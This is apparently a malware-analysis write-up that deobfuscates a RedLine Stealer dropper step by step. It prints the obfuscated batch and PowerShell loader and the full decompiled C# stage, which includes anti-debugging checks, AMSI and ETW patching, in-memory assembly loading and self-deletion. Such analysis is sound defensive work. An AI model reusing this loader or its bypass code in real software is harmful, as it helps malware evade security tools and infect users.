RedLine Stealer Dropper

An interesting sample containing a number of different obfuscation techniques. In this article we analyze the dropper in detail and reach the final stage.

SHA256: 0B93B5287841CEF2C6B2F2C3221C59FFD61BF772CD0D8B2BDAB9DADEB570C7A6

The first file we encounter is a OneNote document. If the “OneNote Format” package is installed, all files are automatically extracted.

Among the extracted files there are two unidentified ones which are just Windows batch scripts.

We convert the data to text (Ctrl+R -> Conversion / Bytes to text).

The code of the batch scripts is obfuscated.

@echo off
set "sMFb=set "
%sMFb%"UFbRmjLRRG=1."
%sMFb%"UwPAONnVOa=co"
%sMFb%"COdAYzdUBF=ll"
%sMFb%"ToDPGEsHPu= C"
%sMFb%"StQVmXXdbu=Po"
%sMFb%"ueTVKWMlnO=we"
%sMFb%"GTAKfFaJew="%~0."
%sMFb%"bgIMqeWlgi=in"
%sMFb%"sRkmhFTZTk=nd"
:: gpUJGV0UmogBpXJpjNr6mswTbRMbSjLzaCIgHlG36VZdfdnkweRkrCB1uF/LvTqM9wtzIUPivhAwiHEHBFv19iFB57OFRRGSiNnMUZlTORojmHEW7KARYxcA
etc.

So we use the “Simple Batch Emulator” package to emulate the code.

The emulator prints out the commands not being emulated.

unsupported command: copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "%~0.exe"
unsupported command: cd "%~dp0"
unsupported command: "%~nx0.exe" -noprofile -windowstyle hidden -ep bypass -command $mcWPL = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine);foreach ($jBqHb in $mcWPL) { if ($jBqHb.StartsWith(':: ')) {  $qUflk = $jBqHb.Substring(3); break; }; };$AKzOG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($qUflk);$GTqqO = New-Object System.Security.Cryptography.AesManaged;$GTqqO.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GTqqO.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GTqqO.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rYCDvAfAeZYTmiLeZKnw0z4us9jgkCckB7mS60qxxg4=');$GTqqO.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JYh62EWEKCuIH7WrUJ0VdA==');$QTfFw = $GTqqO.CreateDecryptor();$AKzOG = $QTfFw.TransformFinalBlock($AKzOG, 0, $AKzOG.Length);$QTfFw.Dispose();$GTqqO.Dispose();$xVFCH = New-Object System.IO.MemoryStream(, $AKzOG);$qGLhv = New-Object System.IO.MemoryStream;$wRtOX = New-Object System.IO.Compression.GZipStream($xVFCH, [IO.Compression.CompressionMode]::Decompress);$wRtOX.CopyTo($qGLhv);$wRtOX.Dispose();$xVFCH.Dispose();$qGLhv.Dispose();$AKzOG = $qGLhv.ToArray();$VBqqY = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($AKzOG);$ReoQh = $VBqqY.EntryPoint;$ReoQh.Invoke($null, (, [string[]] ('%*')))
unsupported command: (goto) 2>nul & del "%~f0"
unsupported command: exit /b

We open a new text view and paste the PowerShell code.

As the PowerShell code is obfuscated, we deobfuscate it using the “PowerShell Beautifier” package.

We don’t need variable replacement, so we leave that option unchecked.

The PowerShell beautifer not only deobfuscates the code, but also assigns to all the variables meaningful names.

The code is now easy to understand.

$read_all_text_result = [System.IO.File]::ReadAllText('%~f0').Split([Environment]::NewLine);
foreach ($item in $read_all_text_result)
{
    if ($item.StartsWith(':: '))
    {
        $substring_result = $item.Substring(3);
        break;
    };
};
$from_base64_string_result = [System.Convert]::FromBase64String($substring_result);
$aes_managed = New-Object System.Security.Cryptography.AesManaged;
$aes_managed.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$aes_managed.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$aes_managed.Key = [System.Convert]::FromBase64String('rYCDvAfAeZYTmiLeZKnw0z4us9jgkCckB7mS60qxxg4=');
$aes_managed.IV = [System.Convert]::FromBase64String('JYh62EWEKCuIH7WrUJ0VdA==');
$create_decryptor_result = $aes_managed.CreateDecryptor();
$transform_final_block_result = $create_decryptor_result.TransformFinalBlock($from_base64_string_result, 0, $from_base64_string_result.Length);
$create_decryptor_result.Dispose();
$aes_managed.Dispose();
$memory_stream = New-Object System.IO.MemoryStream(, $transform_final_block_result);
$memory_stream_2 = New-Object System.IO.MemoryStream;
$gzip_stream = New-Object System.IO.Compression.GZipStream($memory_stream, [IO.Compression.CompressionMode]::Decompress);
$gzip_stream.CopyTo($memory_stream_2);
$gzip_stream.Dispose();
$memory_stream.Dispose();
$memory_stream_2.Dispose();
$to_array_result = $memory_stream_2.ToArray();
$load_result = [System.Reflection.Assembly]::Load($to_array_result);
$entry_point = $load_result.EntryPoint;
$entry_point.Invoke($null, (, [string[]]'%*'))

The PowerShell code searches for a line starting with ‘:: ‘ in the output of the batch script. Then converts that line from base64, decrypts it using AES CBC, decompresses the decrypted data using GZip and finally loads the decompressed data as a .NET assembly.

So we select the base64 line skipping ‘:: ‘.

We convert the base64 to bytes.

We retrieve the key and IV of the AES, convert them from base64 and then to hex (in the hex view Copy -> Hex).

And use the “decrypt/aes” filter with a key length of 32 to decrypt the data.

We then select all the decrypted data, open the context menu and click on “Make selection a root file” to add a new root file to our current project. In the format dialog we select the GZip format (GZ).

The decompressed file is an executable which contains another file called “payload.exe”. This file is automatically extracted by Cerbero Suite from the .NET manifest resources. However, it is not recognized as an executable and so we guess that it is probably encrypted.

We can explore the MSIL code of the .NET assembly, but the code would be easier to read as decompiled C#.

So we save the decompressed executable to disk and open it with ILSpy.

The following is the complete decompiled C# code.

// ZZQPHWIYvADFZjHmvZKI.iyxRPGYRPkXbdjnyAvJD
using System;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
using ZZQPHWIYvADFZjHmvZKI;

internal class iyxRPGYRPkXbdjnyAvJD
{
    private delegate bool IgOkpazAMCNVDtrLruZu(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

    private delegate bool irjkliDHCvdlsAXDyoyk(IntPtr hProcess, ref bool isDebuggerPresent);

    private delegate bool JSxdYaZcqUtDBTLqWEYh();

    [DllImport("kernel32.dll")]
    private static extern IntPtr LoadLibrary(string lpFileName);

    [DllImport("kernel32.dll")]
    private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    private static void Main(string[] args)
    {
        string fileName = Process.GetCurrentProcess().MainModule.FileName;
        File.SetAttributes(fileName, FileAttributes.Hidden | FileAttributes.System);
        IntPtr hModule = LoadLibrary("kernel32.dll");
        IntPtr procAddress = GetProcAddress(hModule, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("YQgFvvCfeXEC8HheSQY8WDxO7rae/P5TDpc2pfcZrJY="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
        IntPtr procAddress2 = GetProcAddress(hModule, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("uD0v0KJTSmiUKuZwt4dI86fKfKAnuIufPRaFWJOP5Es="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
        irjkliDHCvdlsAXDyoyk irjkliDHCvdlsAXDyoyk = (irjkliDHCvdlsAXDyoyk)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(irjkliDHCvdlsAXDyoyk));
        JSxdYaZcqUtDBTLqWEYh jSxdYaZcqUtDBTLqWEYh = (JSxdYaZcqUtDBTLqWEYh)Marshal.GetDelegateForFunctionPointer(procAddress2, typeof(JSxdYaZcqUtDBTLqWEYh));
        bool isDebuggerPresent = false;
        irjkliDHCvdlsAXDyoyk(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
        if (Debugger.IsAttached || isDebuggerPresent || jSxdYaZcqUtDBTLqWEYh())
        {
            Environment.Exit(1);
        }
        IntPtr procAddress3 = GetProcAddress(hModule, "VirtualProtect");
        IgOkpazAMCNVDtrLruZu igOkpazAMCNVDtrLruZu = (IgOkpazAMCNVDtrLruZu)Marshal.GetDelegateForFunctionPointer(procAddress3, typeof(IgOkpazAMCNVDtrLruZu));
        IntPtr hModule2 = LoadLibrary("amsi.dll");
        IntPtr procAddress4 = GetProcAddress(hModule2, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("X6S4bPdO9bEc5JMhytQ97Q=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
        byte[] array = (IntPtr.Size != 8) ? new byte[8]
        {
            184,
            87,
            0,
            7,
            128,
            194,
            24,
            0
        } : new byte[6]
        {
            184,
            87,
            0,
            7,
            128,
            195
        };
        igOkpazAMCNVDtrLruZu(procAddress4, (UIntPtr)(ulong)array.Length, 64u, out uint lpflOldProtect);
        Marshal.Copy(array, 0, procAddress4, array.Length);
        igOkpazAMCNVDtrLruZu(procAddress4, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect);
        IntPtr hModule3 = LoadLibrary("ntdll.dll");
        IntPtr procAddress5 = GetProcAddress(hModule3, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("aFO2dVfMnsC2dX4t3isGdg=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
        array = ((IntPtr.Size != 8) ? new byte[3]
        {
            194,
            20,
            0
        } : new byte[1]
        {
            195
        });
        igOkpazAMCNVDtrLruZu(procAddress5, (UIntPtr)(ulong)array.Length, 64u, out lpflOldProtect);
        Marshal.Copy(array, 0, procAddress5, array.Length);
        igOkpazAMCNVDtrLruZu(procAddress5, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect);
        string @string = Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("eqU9WF/Q2uAyFap3vw7P9g=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")));
        string string2 = Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("ljEUT0uNy4Ar6FNzp9ikiQ=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")));
        Assembly executingAssembly = Assembly.GetExecutingAssembly();
        string[] manifestResourceNames = executingAssembly.GetManifestResourceNames();
        foreach (string name in manifestResourceNames)
        {
            if (!(name == @string) && !(name == string2))
            {
                File.WriteAllBytes(name, KnzOkitkGMWCwIFLYBnU(name));
                File.SetAttributes(name, FileAttributes.Hidden | FileAttributes.System);
                new Thread((ThreadStart)delegate
                {
                    Process.Start(name).WaitForExit();
                    File.SetAttributes(name, FileAttributes.Normal);
                    File.Delete(name);
                }).Start();
            }
        }
        byte[] rawAssembly = YRjkDCBPWiLZphgbMGuF(ChLRwkWLsbZOITDACYZb(KnzOkitkGMWCwIFLYBnU(@string), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")));
        string[] array2 = new string[0];
        try
        {
            array2 = args[0].Split(' ');
        }
        catch
        {
        }
        MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;
        try
        {
            entryPoint.Invoke(null, new object[1]
            {
                array2
            });
        }
        catch
        {
            entryPoint.Invoke(null, null);
        }
        string string3 = Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("yAq19rHi1jH5tbR+S4wvn2NMVvFuTfunmXwbSR/7Oj2vsk/HNr6wT2qCxgIuIt+u"), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")));
        ProcessStartInfo processStartInfo = new ProcessStartInfo();
        processStartInfo.Arguments = string3 + fileName + "\" & del \"" + fileName + "\"";
        processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
        processStartInfo.CreateNoWindow = true;
        processStartInfo.FileName = "cmd.exe";
        Process.Start(processStartInfo);
    }

    private static byte[] ChLRwkWLsbZOITDACYZb(byte[] input, byte[] key, byte[] iv)
    {
        AesManaged aesManaged = new AesManaged();
        aesManaged.Mode = CipherMode.CBC;
        aesManaged.Padding = PaddingMode.PKCS7;
        ICryptoTransform cryptoTransform = aesManaged.CreateDecryptor(key, iv);
        byte[] result = cryptoTransform.TransformFinalBlock(input, 0, input.Length);
        cryptoTransform.Dispose();
        aesManaged.Dispose();
        return result;
    }

    private static byte[] YRjkDCBPWiLZphgbMGuF(byte[] bytes)
    {
        MemoryStream memoryStream = new MemoryStream(bytes);
        MemoryStream memoryStream2 = new MemoryStream();
        GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Decompress);
        gZipStream.CopyTo(memoryStream2);
        gZipStream.Dispose();
        memoryStream2.Dispose();
        memoryStream.Dispose();
        return memoryStream2.ToArray();
    }

    private static byte[] KnzOkitkGMWCwIFLYBnU(string name)
    {
        Assembly executingAssembly = Assembly.GetExecutingAssembly();
        MemoryStream memoryStream = new MemoryStream();
        Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(name);
        manifestResourceStream.CopyTo(memoryStream);
        manifestResourceStream.Dispose();
        byte[] result = memoryStream.ToArray();
        memoryStream.Dispose();
        return result;
    }
}

We analyze the code step-by-step, while also removing the obfuscated strings and renaming the variables.

First the code sets the “System” and “Hidden” attributes of the executable of the current process.

string fileName = Process.GetCurrentProcess().MainModule.FileName;
File.SetAttributes(fileName, FileAttributes.Hidden | FileAttributes.System);

It then fetches the address of two functions in Kernel32.dll.

IntPtr hKernel32Module = LoadLibrary("kernel32.dll");
IntPtr procAddress = GetProcAddress(hKernel32Module, 
Encoding.UTF8.GetString(decrypt(Convert.FromBase64String("YQgFvvCfeXEC8HheSQY8WDxO7rae/P5TDpc2pfcZrJY="), 
Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), 
Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
IntPtr procAddress2 = GetProcAddress(hKernel32Module, 
Encoding.UTF8.GetString(decrypt(Convert.FromBase64String("uD0v0KJTSmiUKuZwt4dI86fKfKAnuIufPRaFWJOP5Es="), 
Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), 
Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));

The decryption function is the following:

private static byte[] decrypt(byte[] input, byte[] key, byte[] iv)
{
    AesManaged aesManaged = new AesManaged();
    aesManaged.Mode = CipherMode.CBC;
    aesManaged.Padding = PaddingMode.PKCS7;
    ICryptoTransform cryptoTransform = aesManaged.CreateDecryptor(key, iv);
    byte[] result = cryptoTransform.TransformFinalBlock(input, 0, input.Length);
    cryptoTransform.Dispose();
    aesManaged.Dispose();
    return result;
}

We can decrypt strings with the same method used before, but we wrote a small script to be executed as an action (Ctrl+Alt+R):

from Pro.Core import *
from Pro.UI import *
import base64, binascii

v = proContext().getCurrentView()
if v.isValid() and v.hasSelection():
    s = v.getSelectedText()
    
    i_start = s.find('"') + 1
    i_end = s.find('"', i_start)
    inp = base64.b64decode(s[i_start:i_end])
    
    k_start = s.find('"', i_end+1) + 1
    k_end = s.find('"', k_start)
    key = base64.b64decode(s[k_start:k_end])
    
    iv_start = s.find('"', k_end+1) + 1
    iv_end = s.find('"', iv_start)
    iv = base64.b64decode(s[iv_start:iv_end])
    
    flts = "<flts><f name='decrypt/aes' mode='cbc' chain='%s' block_length='16' key_length='32' key='%s'/></flts>" % \
        (binascii.hexlify(iv).decode("ascii"), binascii.hexlify(key).decode("ascii"))
    
    c = NTContainer()
    c.setData(inp)
    c = applyFilters(c, flts)
    print(c.read(0, c.size()).decode("utf-8"))
    c = None

If we select the text content in the decrypt function and run the code it prints out the decrypted string.

Once the two strings are decrypted the code becomes:

IntPtr addressCheckRemoteDebuggerPresent = GetProcAddress(hKernel32Module, "CheckRemoteDebuggerPresent");
IntPtr addresssIsDebuggerPresent = GetProcAddress(hKernel32Module, "IsDebuggerPresent");

It then creates delegate for this two APIs:

DelegateCheckRemoteDebuggerPresent delegateCheckRemoteDebuggerPresent =     
(DelegateCheckRemoteDebuggerPresent)Marshal.GetDelegateForFunctionPointer(
addressCheckRemoteDebuggerPresent, typeof(DelegateCheckRemoteDebuggerPresent));

DelegateIsDebuggerPresent delegateIsDebuggerPresent = 
(DelegateIsDebuggerPresent)Marshal.GetDelegateForFunctionPointer(IsDebuggerPresent,
 typeof(DelegateIsDebuggerPresent));

And it checks in various ways if a debugger is present. If one is detected, it quits.

bool isDebuggerPresent = false;
delegateCheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
if (Debugger.IsAttached || isDebuggerPresent || delegateIsDebuggerPresent())
{
    Environment.Exit(1);
}

It gets the address of VirtualProtect and creates a delegate for it:

IntPtr addressVirtualProtect = GetProcAddress(hKernel32Module, "VirtualProtect");
DelegateVirtualProtect delegateVirtualProtect = 
(DelegateVirtualProtect)Marshal.GetDelegateForFunctionPointer(addressVirtualProtect, 
typeof(DelegateVirtualProtect));

It gets the address of AmsiScanBuffer in amsi.dll. The AmsiScanBuffer API is used to scan malware.

IntPtr hAmsiModule = LoadLibrary("amsi.dll");
IntPtr addressAmsiScanBuffer = GetProcAddress(hAmsiModule, "AmsiScanBuffer");

It creates a different type of array depending if the platform is 32-bit or 64-bit (based on pointer size).

byte[] array = (IntPtr.Size != 8) ? new byte[8]
{
    184,
    87,
    0,
    7,
    128,
    194,
    24,
    0
} : new byte[6]
{
    184,
    87,
    0,
    7,
    128,
    195
};

It uses the array to patch the the beginning of the AmsiScanBuffer API.

// sets the memory access to PAGE_EXECUTE_READWRITE
delegateVirtualProtect(addressAmsiScanBuffer, (UIntPtr)(ulong)array.Length, 64u, out uint lpflOldProtect);
// patches
Marshal.Copy(array, 0, addressAmsiScanBuffer, array.Length);
// restores the original memory access
delegateVirtualProtect(addressAmsiScanBuffer, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect);

If we want to know what the patched bytes mean we can simply copy them to a text view, convert them to bytes and use two filters: convert/from_array (with default parameters) and disasm/x86.

The x86 instructions used to patch AmsiScanBuffer are:

mov       eax, 0x80070057
ret       0x18

AmsiScanBuffer returns an HRESULT value and 0x80070057 stands for E_INVALIDARG. So the malware patches the API to return an error.

It then patches EtwEventWrite in ntdll.dll using the same method.

IntPtr hNTDllModule = LoadLibrary("ntdll.dll");
IntPtr addressEtwEventWrite = GetProcAddress(hNTDllModule, "EtwEventWrite");
array = ((IntPtr.Size != 8) ? new byte[3]
{
    194,
    20,
    0
} : new byte[1]
{
    195
});
delegateVirtualProtect(addressEtwEventWrite, (UIntPtr)(ulong)array.Length, 64u, out lpflOldProtect);
Marshal.Copy(array, 0, addressEtwEventWrite, array.Length);
delegateVirtualProtect(addressEtwEventWrite, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect);

This time patching with just a simple ret instruction.

ret       0x14

Then it goes through all the manifest resources of the .NET assembly and if their name doesn’t match either “payload.exe” or “runpe.dll”, it dumps them to disk and executes them.

string payload_name = "payload.exe";
string runpedll_name = "runpe.dll";
Assembly executingAssembly = Assembly.GetExecutingAssembly();
string[] manifestResourceNames = executingAssembly.GetManifestResourceNames();
foreach (string name in manifestResourceNames)
{
    if (!(name == payload_name) && !(name == runpedll_name))
    {
        File.WriteAllBytes(name, getManifestResourceData(name));
        File.SetAttributes(name, FileAttributes.Hidden | FileAttributes.System);
        new Thread((ThreadStart)delegate
        {
            Process.Start(name).WaitForExit();
            File.SetAttributes(name, FileAttributes.Normal);
            File.Delete(name);
        }).Start();
    }
}

In our case the only manifest resource is “payload.exe”. So this code won’t do anything.

The code then decrypts and decompresses “payload.exe” and runs it with arguments passed to Main.

byte[] rawAssembly = decompressGZip(decrypt(getManifestResourceData(payload_name), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")));
string[] array2 = new string[0];
try
{
    array2 = args[0].Split(' ');
}
catch
{
}
MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;
try
{
    entryPoint.Invoke(null, new object[1]
    {
        array2
    });
}
catch
{
    entryPoint.Invoke(null, null);
}

We decrypt “payload.exe”.

And again create a new root file with the GZip format.

At this point we reached the final stage.

The last part for the loader just uses “cmd.exe” to execute “payload.exe”.

string cmd = "/c choice /c y /n /d y /t 1 & attrib -h -s \"";
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.Arguments = cmd + fileName + "\" & del \"" + fileName + "\"";
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processStartInfo.CreateNoWindow = true;
processStartInfo.FileName = "cmd.exe";
Process.Start(processStartInfo);

The final stage is already recognized by scan engines as “RedLine Stealer”.

To be thorough, we extracted the payload from the second batch script as well. The final stage payload seems to be the same.

Interestingly, this sample had not yet been submitted to VirusTotal and this time 10 less scan engines detect the malware, although the class names and the code are the same.

Leave a Reply

Your email address will not be published. Required fields are marked *